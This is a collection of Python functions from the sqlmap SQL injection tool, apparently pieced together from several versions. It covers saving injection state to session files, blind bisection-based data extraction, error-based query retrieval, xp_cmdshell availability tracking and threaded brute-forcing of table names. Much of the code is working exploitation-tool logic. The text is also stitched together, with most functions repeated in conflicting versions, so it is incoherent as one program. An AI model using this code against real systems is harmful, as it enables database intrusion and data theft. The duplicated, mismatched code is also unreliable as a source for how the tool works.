def setInjection(inj): """ Save information retrieved about injection place and parameter in the session file. """ try: condition = ( not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and not kb.resumedQueries[conf.url].has_key("Injection data")) or ( kb.resumedQueries[conf.url].has_key("Injection data") and intersect(base64unpickle(kb.resumedQueries[conf.url]["Injection data"][:-1]).data.keys(),\ inj.data.keys()) != inj.data.keys() ) ) except AttributeError: warnMsg = "there were some changes in data model " warnMsg += "preventing normal resume of previously stored " warnMsg += "injection data. please use the --flush-session " warnMsg += "to have it fixed" singleTimeWarnMessage(warnMsg) condition = False if condition: dataToSessionFile("[%s][%s][%s][Injection data][%s]\n" % (conf.url, inj.place, safeFormatString(conf.parameters[inj.place]), base64pickle(inj)))
def setDbms(dbms): """ @param dbms: database management system to be set into the knowledge base as fingerprint. @type dbms: C{str} """ condition = ( not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and not kb.resumedQueries[conf.url].has_key("DBMS") ) ) if condition: dataToSessionFile("[%s][%s][%s][DBMS][%s]\n" % (conf.url, kb.injPlace, safeFormatString(conf.parameters[kb.injPlace]), safeFormatString(dbms))) firstRegExp = "(%s|%s|%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]), "|".join([alias for alias in MYSQL_ALIASES]), "|".join([alias for alias in PGSQL_ALIASES]), "|".join([alias for alias in ORACLE_ALIASES])) dbmsRegExp = re.search("^%s" % firstRegExp, dbms, re.I) if dbmsRegExp: dbms = dbmsRegExp.group(1) kb.dbms = dbms logger.info("the back-end DBMS is %s" % kb.dbms)
def setDbms(dbms): """ @param dbms: database management system to be set into the knowledge base as fingerprint. @type dbms: C{str} """ condition = (not kb.resumedQueries or (kb.resumedQueries.has_key(conf.url) and not kb.resumedQueries[conf.url].has_key("DBMS"))) if condition: dataToSessionFile( "[%s][%s][%s][DBMS][%s]\n" % (conf.url, kb.injection.place, safeFormatString( conf.parameters[kb.injection.place]), safeFormatString(dbms))) firstRegExp = "(%s)" % ("|".join([alias for alias in SUPPORTED_DBMS])) dbmsRegExp = re.search("^%s" % firstRegExp, dbms, re.I) if dbmsRegExp: dbms = dbmsRegExp.group(1) Backend.setDbms(dbms) logger.info("the back-end DBMS is %s" % Backend.getDbms())
def tableExistsThread(): while count[0] < length and kb.threadContinue: tbllock.acquire() table = safeSQLIdentificatorNaming(tables[count[0]]) count[0] += 1 tbllock.release() if conf.db and not conf.db.endswith(METADB_SUFFIX): fullTableName = "%s%s%s" % (conf.db, '..' if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) else '.', table) else: fullTableName = table result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %d FROM %s)", (randomInt(1), fullTableName))) iolock.acquire() if result and table.lower() not in items: retVal.append(table) items.add(table.lower()) dataToSessionFile("[%s][%s][%s][TABLE_EXISTS][%s]\n" % (conf.url,\ kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]),\ safeFormatString(fullTableName))) if conf.verbose in (1, 2): clearConsoleLine(True) infoMsg = "\r[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), table) dataToStdout(infoMsg, True) if conf.verbose in (1, 2): status = '%d/%d items (%d%s)' % (count[0], length, round(100.0*count[0]/length), '%') dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True) iolock.release()
def queryOutputLength(expression, payload): """ Returns the query output length. """ lengthQuery = queries[kb.dbms].length.query select = re.search("\ASELECT\s+", expression, re.I) selectTopExpr = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I) selectDistinctExpr = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I) selectFromExpr = re.search("\ASELECT\s+(.+?)\s+FROM", expression, re.I) selectExpr = re.search("\ASELECT\s+(.+)$", expression, re.I) miscExpr = re.search("\A(.+)", expression, re.I) if selectTopExpr or selectDistinctExpr or selectFromExpr or selectExpr: if selectTopExpr: regExpr = selectTopExpr.groups()[0] elif selectDistinctExpr: regExpr = selectDistinctExpr.groups()[0] elif selectFromExpr: regExpr = selectFromExpr.groups()[0] elif selectExpr: regExpr = selectExpr.groups()[0] elif miscExpr: regExpr = miscExpr.groups()[0] if (select and re.search("\A(COUNT|LTRIM)\(", regExpr, re.I)) or len(regExpr) <= 1: return None, None, None if selectDistinctExpr: lengthExpr = "SELECT %s FROM (%s)" % (lengthQuery % regExpr, expression) if kb.dbms in (DBMS.MYSQL, DBMS.POSTGRESQL): lengthExpr += " AS %s" % randomStr(lowercase=True) elif select: lengthExpr = expression.replace(regExpr, lengthQuery % regExpr, 1) else: lengthExpr = lengthQuery % expression infoMsg = "retrieving the length of query output" logger.info(infoMsg) output = resume(lengthExpr, payload) if output: return 0, output, regExpr dataToSessionFile("[%s][%s][%s][%s][" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], lengthExpr)) start = time.time() lengthExprUnescaped = unescaper.unescape(lengthExpr) count, length = bisection(payload, lengthExprUnescaped, charsetType=2) debugMsg = "performed %d queries in %d seconds" % (count, calculateDeltaSeconds(start)) logger.debug(debugMsg) if length == " ": length = 0 return count, length, regExpr
def goError(expression, suppressOutput=False, returnPayload=False): """ Retrieve the output of a SQL query taking advantage of an error-based SQL injection vulnerability on the affected parameter. """ result = None if suppressOutput: pushValue(conf.verbose) conf.verbose = 0 if conf.direct: return direct(expression), None condition = ( kb.resumedQueries and conf.url in kb.resumedQueries.keys() and expression in kb.resumedQueries[conf.url].keys() ) if condition: result = resume(expression, None) if not result: result = errorUse(expression, returnPayload) if not returnPayload: dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, replaceNewlineTabs(result))) if suppressOutput: conf.verbose = popValue() return result
def __goInference(payload, expression, charsetType=None, firstChar=None, lastChar=None, dump=False): start = time.time() timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) if (conf.eta or conf.threads > 1 ) and Backend.getIdentifiedDbms() and not timeBasedCompare: _, length, _ = queryOutputLength(expression, payload) else: length = None dataToSessionFile("[%s][%s][%s][%s][" % (conf.url, kb.injection.place, conf.parameters[kb.injection.place], expression)) count, value = bisection(payload, expression, length, charsetType, firstChar, lastChar, dump) if not kb.bruteMode: debugMsg = "performed %d queries in %d seconds" % ( count, calculateDeltaSeconds(start)) logger.debug(debugMsg) return value
def setXpCmdshellAvailability(available): condition = ( not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and not kb.resumedQueries[conf.url].has_key("xp_cmdshell availability") ) ) if condition: dataToSessionFile("[%s][%s][%s][xp_cmdshell availability][%s]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]), str(available).lower()))
def setRemoteTempPath(): condition = ( not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and not kb.resumedQueries[conf.url].has_key("Remote temp path") ) ) if condition: dataToSessionFile("[%s][%s][%s][Remote temp path][%s]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]), safeFormatString(conf.tmpPath)))
def setError(): condition = ( not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and not kb.resumedQueries[conf.url].has_key("Error based injection") ) ) if condition: dataToSessionFile("[%s][%s][%s][Error based injection][Yes]\n" % (conf.url, kb.injPlace, safeFormatString(conf.parameters[kb.injPlace])))
def setMatchRatio(): condition = ( isinstance(conf.matchRatio, (int, float)) and ( not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and not kb.resumedQueries[conf.url].has_key("Match ratio") ) ) ) if condition: dataToSessionFile("[%s][%s][%s][Match ratio][%s]\n" % (conf.url, kb.injPlace, safeFormatString(conf.parameters[kb.injPlace]), conf.matchRatio))
def direct(query, content=True): output = None select = True query = agent.payloadDirect(query) if Backend.isDbms(DBMS.ORACLE) and query.startswith("SELECT ") and " FROM " not in query: query = "%s FROM DUAL" % query for sqlTitle, sqlStatements in SQL_STATEMENTS.items(): for sqlStatement in sqlStatements: if query.lower().startswith(sqlStatement) and sqlTitle != "SQL SELECT statement": select = False break if select and not query.upper().startswith("SELECT "): query = "SELECT " + query logger.log(9, query) if not select: output = timeout(func=conf.dbmsConnector.execute, args=(query,), duration=conf.timeout, default=None) elif conf.hostname in kb.resumedQueries and query in kb.resumedQueries[conf.hostname] and "sqlmapoutput" not in query and "sqlmapfile" not in query: try: output = base64unpickle(kb.resumedQueries[conf.hostname][query][:-1]) except: output = timeout(func=conf.dbmsConnector.select, args=(query,), duration=conf.timeout, default=None) infoMsg = "resumed from file '%s': " % conf.sessionFile infoMsg += "%s..." % getUnicode(output, UNICODE_ENCODING)[:20] logger.info(infoMsg) else: output = timeout(func=conf.dbmsConnector.select, args=(query,), duration=conf.timeout, default=None) if output is None or len(output) == 0: return None elif content: if conf.hostname not in kb.resumedQueries or ( conf.hostname in kb.resumedQueries and query not in kb.resumedQueries[conf.hostname] ): dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.hostname, kb.injection.place, conf.parameters[kb.injection.place], query, base64pickle(output))) if len(output) == 1: if len(output[0]) == 1: out = list(output)[0][0] if isinstance(out, str): out = utf8decode(out) return getUnicode(out, UNICODE_ENCODING) else: return list(output) else: return output else: for line in output: if line[0] in (1, -1): return True else: return False
def setRemoteTempPath(): condition = (not kb.resumedQueries or (kb.resumedQueries.has_key(conf.url) and not kb.resumedQueries[conf.url].has_key("Remote temp path"))) if condition: dataToSessionFile( "[%s][%s][%s][Remote temp path][%s]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]), safeFormatString(conf.tmpPath)))
def setStacked(): condition = ( not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and not kb.resumedQueries[conf.url].has_key("Stacked queries") ) ) if not isinstance(kb.stackedTest, basestring): return if condition: dataToSessionFile("[%s][%s][%s][Stacked queries][%s]\n" % (conf.url, kb.injPlace, safeFormatString(conf.parameters[kb.injPlace]), kb.stackedTest))
def setRegexp(): """ Save regular expression to match in session file. """ condition = ( not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and not kb.resumedQueries[conf.url].has_key("Regular expression") ) ) if condition: dataToSessionFile("[%s][None][None][Regular expression][%s]\n" % (conf.url, conf.regexp))
def queryOutputLength(expression, payload): """ Returns the query output length. """ lengthQuery = queries[kb.dbms].length select = re.search("\ASELECT\s+", expression, re.I) selectTopExpr = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I) selectDistinctExpr = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I) selectExpr = re.search("\ASELECT\s+(.+?)\s+FROM", expression, re.I) miscExpr = re.search("\A(.+)", expression, re.I) if selectTopExpr or selectDistinctExpr or selectExpr: if selectTopExpr: regExpr = selectTopExpr.groups()[0] elif selectDistinctExpr: regExpr = selectDistinctExpr.groups()[0] elif selectExpr: regExpr = selectExpr.groups()[0] elif miscExpr: regExpr = miscExpr.groups()[0] if (select and re.search("\A(COUNT|LTRIM)\(", regExpr, re.I)) or len(regExpr) <= 1: return None, None, None if select: lengthExpr = expression.replace(regExpr, lengthQuery % regExpr, 1) else: lengthExpr = lengthQuery % expression infoMsg = "retrieving the length of query output" logger.info(infoMsg) output = resume(lengthExpr, payload) if output: return 0, output, regExpr dataToSessionFile( "[%s][%s][%s][%s][" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], lengthExpr)) lengthExprUnescaped = unescaper.unescape(lengthExpr) count, length = bisection(payload, lengthExprUnescaped) if length == " ": length = 0 return count, length, regExpr
def setString(): """ Save string to match in session file. """ condition = (not kb.resumedQueries or (kb.resumedQueries.has_key(conf.url) and not kb.resumedQueries[conf.url].has_key("String"))) if condition: dataToSessionFile("[%s][None][None][String][%s]\n" % (conf.url, conf.string))
def setString(): """ Save string to match in session file. """ condition = ( not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and not kb.resumedQueries[conf.url].has_key("String") ) ) if condition: dataToSessionFile("[%s][None][None][String][%s]\n" % (conf.url, conf.string))
def setRegexp(): """ Save regular expression to match in session file. """ condition = ( not kb.resumedQueries or (kb.resumedQueries.has_key(conf.url) and not kb.resumedQueries[conf.url].has_key("Regular expression"))) if condition: dataToSessionFile("[%s][None][None][Regular expression][%s]\n" % (conf.url, conf.regexp))
def __setOutputResume(): """ Check and set the output text file and the resume functionality. """ if conf.sessionFile and os.path.exists(conf.sessionFile): readSessionFP = open(conf.sessionFile, "r") lines = readSessionFP.readlines() for line in lines: if line.count("][") == 4: line = line.split("][") if len(line) != 5: continue url, _, _, expression, value = line if not value: continue if url[0] == "[": url = url[1:] if value[-1] == "\n": value = value[:-1] if url != conf.url: continue if url not in kb.resumedQueries.keys(): kb.resumedQueries[url] = {} kb.resumedQueries[url][expression] = value resumeConfKb(expression, url, value) if expression not in kb.resumedQueries[url].keys(): kb.resumedQueries[url][expression] = value elif len(value) >= len(kb.resumedQueries[url][expression]): kb.resumedQueries[url][expression] = value readSessionFP.close() if conf.sessionFile: try: conf.sessionFP = open(conf.sessionFile, "a") dataToSessionFile("\n[%s]\n" % time.strftime("%X %x")) except IOError: errMsg = "unable to write on the session file specified" raise sqlmapFilePathException, errMsg
def setDynamicMarkings(markings): """ Save information retrieved about dynamic markings to the session file. """ condition = ( (not kb.resumedQueries or (kb.resumedQueries.has_key(conf.url) and not kb.resumedQueries[conf.url].has_key("Dynamic markings")))) if condition: dataToSessionFile("[%s][%s][%s][Dynamic markings][%s]\n" % (conf.url, None, None, base64pickle(markings)))
def setOs(): """ Example of kb.bannerFp dictionary: { 'sp': set(['Service Pack 4']), 'dbmsVersion': '8.00.194', 'dbmsServicePack': '0', 'distrib': set(['2000']), 'dbmsRelease': '2000', 'type': set(['Windows']) } """ infoMsg = "" condition = (not kb.resumedQueries or (kb.resumedQueries.has_key(conf.url) and not kb.resumedQueries[conf.url].has_key("OS"))) if not kb.bannerFp: return if "type" in kb.bannerFp: kb.os = Format.humanize(kb.bannerFp["type"]) infoMsg = "the back-end DBMS operating system is %s" % kb.os if "distrib" in kb.bannerFp: kb.osVersion = Format.humanize(kb.bannerFp["distrib"]) infoMsg += " %s" % kb.osVersion if "sp" in kb.bannerFp: kb.osSP = int( Format.humanize(kb.bannerFp["sp"]).replace("Service Pack ", "")) elif "sp" not in kb.bannerFp and kb.os == "Windows": kb.osSP = 0 if kb.os and kb.osVersion and kb.osSP: infoMsg += " Service Pack %d" % kb.osSP if infoMsg: logger.info(infoMsg) if condition: dataToSessionFile( "[%s][%s][%s][OS][%s]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]), safeFormatString(kb.os)))
def setDynamicMarkings(markings): """ Save information retrieved about dynamic markings to the session file. """ condition = ( ( not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and not kb.resumedQueries[conf.url].has_key("Dynamic markings") ) ) ) if condition: dataToSessionFile("[%s][%s][%s][Dynamic markings][%s]\n" % (conf.url, None, None, base64pickle(markings)))
def queryOutputLength(expression, payload): """ Returns the query output length. """ lengthQuery = queries[kb.dbms].length select = re.search("\ASELECT\s+", expression, re.I) selectTopExpr = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I) selectDistinctExpr = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I) selectExpr = re.search("\ASELECT\s+(.+?)\s+FROM", expression, re.I) miscExpr = re.search("\A(.+)", expression, re.I) if selectTopExpr or selectDistinctExpr or selectExpr: if selectTopExpr: regExpr = selectTopExpr.groups()[0] elif selectDistinctExpr: regExpr = selectDistinctExpr.groups()[0] elif selectExpr: regExpr = selectExpr.groups()[0] elif miscExpr: regExpr = miscExpr.groups()[0] if ( select and re.search("\A(COUNT|LTRIM)\(", regExpr, re.I) ) or len(regExpr) <= 1: return None, None, None if select: lengthExpr = expression.replace(regExpr, lengthQuery % regExpr, 1) else: lengthExpr = lengthQuery % expression infoMsg = "retrieving the length of query output" logger.info(infoMsg) output = resume(lengthExpr, payload) if output: return 0, output, regExpr dataToSessionFile("[%s][%s][%s][%s][" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], lengthExpr)) lengthExprUnescaped = unescaper.unescape(lengthExpr) count, length = bisection(payload, lengthExprUnescaped) if length == " ": length = 0 return count, length, regExpr
def setParenthesis(parenthesisCount): """ @param parenthesisCount: number of parenthesis to be set into the knowledge base as fingerprint. @type parenthesisCount: C{int} """ condition = ( not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and not kb.resumedQueries[conf.url].has_key("Parenthesis") ) ) if condition: dataToSessionFile("[%s][%s][%s][Parenthesis][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], parenthesisCount)) kb.parenthesis = parenthesisCount
def __goInference(payload, expression, charsetType=None, firstChar=None, lastChar=None): start = time.time() if ( conf.eta or conf.threads > 1 ) and kb.dbms: _, length, _ = queryOutputLength(expression, payload) else: length = None dataToSessionFile("[%s][%s][%s][%s][" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression)) count, value = bisection(payload, expression, length, charsetType, firstChar, lastChar) debugMsg = "performed %d queries in %d seconds" % (count, calculateDeltaSeconds(start)) logger.debug(debugMsg) return value
def setOs(): """ Example of kb.bannerFp dictionary: { 'sp': set(['Service Pack 4']), 'dbmsVersion': '8.00.194', 'dbmsServicePack': '0', 'distrib': set(['2000']), 'dbmsRelease': '2000', 'type': set(['Windows']) } """ infoMsg = "" condition = ( not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and not kb.resumedQueries[conf.url].has_key("OS") ) ) if not kb.bannerFp: return if "type" in kb.bannerFp: Backend.setOs(Format.humanize(kb.bannerFp["type"])) infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs() if "distrib" in kb.bannerFp: kb.osVersion = Format.humanize(kb.bannerFp["distrib"]) infoMsg += " %s" % kb.osVersion if "sp" in kb.bannerFp: kb.osSP = int(Format.humanize(kb.bannerFp["sp"]).replace("Service Pack ", "")) elif "sp" not in kb.bannerFp and Backend.isOs(OS.WINDOWS): kb.osSP = 0 if Backend.getOs() and kb.osVersion and kb.osSP: infoMsg += " Service Pack %d" % kb.osSP if infoMsg: logger.info(infoMsg) if condition: dataToSessionFile("[%s][%s][%s][OS][%s]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]), Backend.getOs()))
def setParenthesis(parenthesisCount): """ @param parenthesisCount: number of parenthesis to be set into the knowledge base as fingerprint. @type parenthesisCount: C{int} """ condition = (not kb.resumedQueries or (kb.resumedQueries.has_key(conf.url) and not kb.resumedQueries[conf.url].has_key("Parenthesis"))) if condition: dataToSessionFile("[%s][%s][%s][Parenthesis][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], parenthesisCount)) kb.parenthesis = parenthesisCount
def setInjection(inj): """ Save information retrieved about injection place and parameter in the session file. """ condition = ( not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and not kb.resumedQueries[conf.url].has_key("Injection data")) or ( kb.resumedQueries[conf.url].has_key("Injection data") and intersect(base64unpickle(kb.resumedQueries[conf.url]["Injection data"][:-1]).data.keys(),\ inj.data.keys()) != inj.data.keys() ) ) if condition: dataToSessionFile( "[%s][%s][%s][Injection data][%s]\n" % (conf.url, inj.place, safeFormatString( conf.parameters[inj.place]), base64pickle(inj)))
def __goInference(payload, expression, charsetType=None, firstChar=None, lastChar=None, dump=False): start = time.time() timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) if (conf.eta or conf.threads > 1) and Backend.getIdentifiedDbms() and not timeBasedCompare: _, length, _ = queryOutputLength(expression, payload) else: length = None dataToSessionFile("[%s][%s][%s][%s][" % (conf.url, kb.injection.place, conf.parameters[kb.injection.place], expression)) count, value = bisection(payload, expression, length, charsetType, firstChar, lastChar, dump) if not kb.bruteMode: debugMsg = "performed %d queries in %d seconds" % (count, calculateDeltaSeconds(start)) logger.debug(debugMsg) return value
def __goInference(payload, expression): start = time.time() if ( conf.eta or conf.threads > 1 ) and kb.dbms: _, length, _ = queryOutputLength(expression, payload) else: length = None dataToSessionFile("[%s][%s][%s][%s][" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression)) count, value = bisection(payload, expression, length=length) duration = int(time.time() - start) if conf.eta and length: infoMsg = "retrieved: %s" % value logger.info(infoMsg) infoMsg = "performed %d queries in %d seconds" % (count, duration) logger.info(infoMsg) return value
def setInjection(): """ Save information retrieved about injection place and parameter in the session file. """ if kb.injPlace == "User-Agent": kb.injParameter = conf.agent condition = ( kb.injPlace and kb.injParameter and (not kb.resumedQueries or (kb.resumedQueries.has_key(conf.url) and (not kb.resumedQueries[conf.url].has_key("Injection point") or not kb.resumedQueries[conf.url].has_key("Injection parameter") or not kb.resumedQueries[conf.url].has_key("Injection type"))))) if condition: dataToSessionFile( "[%s][%s][%s][Injection point][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.injPlace)) dataToSessionFile("[%s][%s][%s][Injection parameter][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.injParameter)) dataToSessionFile( "[%s][%s][%s][Injection type][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.injType))
def tableExistsThread(): threadData = getCurrentThreadData() while kb.threadContinue: kb.locks.countLock.acquire() if threadData.shared.count < threadData.shared.limit: table = safeSQLIdentificatorNaming(tables[threadData.shared.count], True) threadData.shared.count += 1 kb.locks.countLock.release() else: kb.locks.countLock.release() break if conf.db and METADB_SUFFIX not in conf.db: fullTableName = "%s%s%s" % (conf.db, '..' if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) else '.', table) else: fullTableName = table result = inject.checkBooleanExpression("%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), fullTableName))) kb.locks.ioLock.acquire() if result and table.lower() not in threadData.shared.unique: threadData.shared.outputs.append(table) threadData.shared.unique.add(table.lower()) dataToSessionFile("[%s][%s][%s][TABLE_EXISTS][%s]\n" % (conf.url,\ kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]),\ safeFormatString(fullTableName))) if conf.verbose in (1, 2): clearConsoleLine(True) infoMsg = "[%s] [INFO] retrieved: %s\r\n" % (time.strftime("%X"), table) dataToStdout(infoMsg, True) if conf.verbose in (1, 2): status = '%d/%d items (%d%s)' % (threadData.shared.count, threadData.shared.limit, round(100.0*threadData.shared.count/threadData.shared.limit), '%') dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True) kb.locks.ioLock.release()
def __goInference(payload, expression): start = time.time() if (conf.eta or conf.threads > 1) and kb.dbms: _, length, _ = queryOutputLength(expression, payload) else: length = None dataToSessionFile( "[%s][%s][%s][%s][" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression)) count, value = bisection(payload, expression, length=length) duration = int(time.time() - start) if conf.eta and length: infoMsg = "retrieved: %s" % value logger.info(infoMsg) infoMsg = "performed %d queries in %d seconds" % (count, duration) logger.info(infoMsg) return value
def setDbms(dbms): """ @param dbms: database management system to be set into the knowledge base as fingerprint. @type dbms: C{str} """ condition = (not kb.resumedQueries or (kb.resumedQueries.has_key(conf.url) and not kb.resumedQueries[conf.url].has_key("DBMS"))) if condition: dataToSessionFile( "[%s][%s][%s][DBMS][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], dbms)) firstRegExp = "(%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]), "|".join([alias for alias in MYSQL_ALIASES])) dbmsRegExp = re.search("^%s" % firstRegExp, dbms, re.I) if dbmsRegExp: dbms = dbmsRegExp.group(1) kb.dbms = dbms
def setUnion(comment=None, count=None, position=None): """ @param comment: union comment to save in session file @type comment: C{str} @param count: union count to save in session file @type count: C{str} @param position: union position to save in session file @type position: C{str} """ if comment and count: condition = ( not kb.resumedQueries or (kb.resumedQueries.has_key(conf.url) and (not kb.resumedQueries[conf.url].has_key("Union comment") or not kb.resumedQueries[conf.url].has_key("Union count")))) if condition: dataToSessionFile( "[%s][%s][%s][Union comment][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], comment)) dataToSessionFile( "[%s][%s][%s][Union count][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], count)) kb.unionComment = comment kb.unionCount = count elif position: condition = ( not kb.resumedQueries or (kb.resumedQueries.has_key(conf.url) and (not kb.resumedQueries[conf.url].has_key("Union position")))) if condition: dataToSessionFile("[%s][%s][%s][Union position][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], position)) kb.unionPosition = position
def setInjection(): """ Save information retrieved about injection place and parameter in the session file. """ if kb.injPlace == "User-Agent": kb.injParameter = conf.agent condition = ( kb.injPlace and kb.injParameter and ( not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and ( not kb.resumedQueries[conf.url].has_key("Injection point") or not kb.resumedQueries[conf.url].has_key("Injection parameter") or not kb.resumedQueries[conf.url].has_key("Injection type") ) ) ) ) if condition: dataToSessionFile("[%s][%s][%s][Injection point][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.injPlace)) dataToSessionFile("[%s][%s][%s][Injection parameter][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.injParameter)) dataToSessionFile("[%s][%s][%s][Injection type][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.injType))
def setUnion(comment=None, count=None, position=None): """ @param comment: union comment to save in session file @type comment: C{str} @param count: union count to save in session file @type count: C{str} @param position: union position to save in session file @type position: C{str} """ if comment and count: condition = ( not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and ( not kb.resumedQueries[conf.url].has_key("Union comment") or not kb.resumedQueries[conf.url].has_key("Union count") ) ) ) if condition: dataToSessionFile("[%s][%s][%s][Union comment][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], comment)) dataToSessionFile("[%s][%s][%s][Union count][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], count)) kb.unionComment = comment kb.unionCount = count elif position: condition = ( not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and ( not kb.resumedQueries[conf.url].has_key("Union position") ) ) ) if condition: dataToSessionFile("[%s][%s][%s][Union position][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], position)) kb.unionPosition = position
def resume(expression, payload): """ This function can be called to resume part or entire output of a SQL injection query output. """ try: if "sqlmapfile" in expression or "sqlmapoutput" in expression: return None condition = ( kb.resumedQueries and conf.url in kb.resumedQueries.keys() and expression in kb.resumedQueries[conf.url].keys() ) if not condition: return None resumedValue = kb.resumedQueries[conf.url][expression] if not resumedValue: return None resumedValue = restoreDumpMarkedChars(resumedValue, True) if resumedValue[-1] == "]": resumedValue = resumedValue[:-1] infoMsg = "read from file '%s': " % conf.sessionFile logValue = re.findall("%s(.*?)%s" % (DUMP_START_MARKER, DUMP_STOP_MARKER), resumedValue, re.S) if logValue: logValue = ", ".join([value.replace(DUMP_DEL_MARKER, ", ") for value in logValue]) else: logValue = resumedValue if "\n" in logValue: infoMsg += "%s..." % logValue.split("\n")[0] else: infoMsg += logValue logger.info(infoMsg) return resumedValue # If we called this function without providing a payload it means that # we have called it from lib/request/inject __goInband() function # in UNION query (inband) SQL injection so we return to the calling # function so that the query output will be retrieved taking advantage # of the inband SQL injection vulnerability. if not payload: return None if not kb.dbms: return None substringQuery = queries[kb.dbms].substring.query select = re.search("\ASELECT ", expression, re.I) _, length, regExpr = queryOutputLength(expression, payload) if not length: return None if len(resumedValue) == int(length): infoMsg = "read from file '%s': " % conf.sessionFile infoMsg += "%s" % resumedValue.split("\n")[0] logger.info(infoMsg) dataToSessionFile( "[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, replaceNewlineTabs(resumedValue)) ) return resumedValue elif len(resumedValue) < int(length): infoMsg = "resumed from file '%s': " % conf.sessionFile infoMsg += "%s..." % resumedValue.split("\n")[0] logger.info(infoMsg) dataToSessionFile( "[%s][%s][%s][%s][%s" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, replaceNewlineTabs(resumedValue)) ) if select: newExpr = expression.replace( regExpr, safeStringFormat(substringQuery, (regExpr, len(resumedValue) + 1, int(length))), 1 ) else: newExpr = safeStringFormat(substringQuery, (expression, len(resumedValue) + 1, int(length))) missingCharsLength = int(length) - len(resumedValue) infoMsg = "retrieving pending %d query " % missingCharsLength infoMsg += "output characters" logger.info(infoMsg) start = time.time() count, finalValue = bisection(payload, newExpr, length=missingCharsLength) debugMsg = "performed %d queries in %d seconds" % (count, calculateDeltaSeconds(start)) logger.debug(debugMsg) if len(finalValue) != (int(length) - len(resumedValue)): warnMsg = "the total length of the query is not " warnMsg += "right, sqlmap is going to retrieve the " warnMsg += "query value from the beginning now" logger.warn(warnMsg) return None return "%s%s" % (resumedValue, finalValue) return None except ValueError: errMsg = "invalid resume value for expression: '%s'" % expression logger.error(errMsg) return None
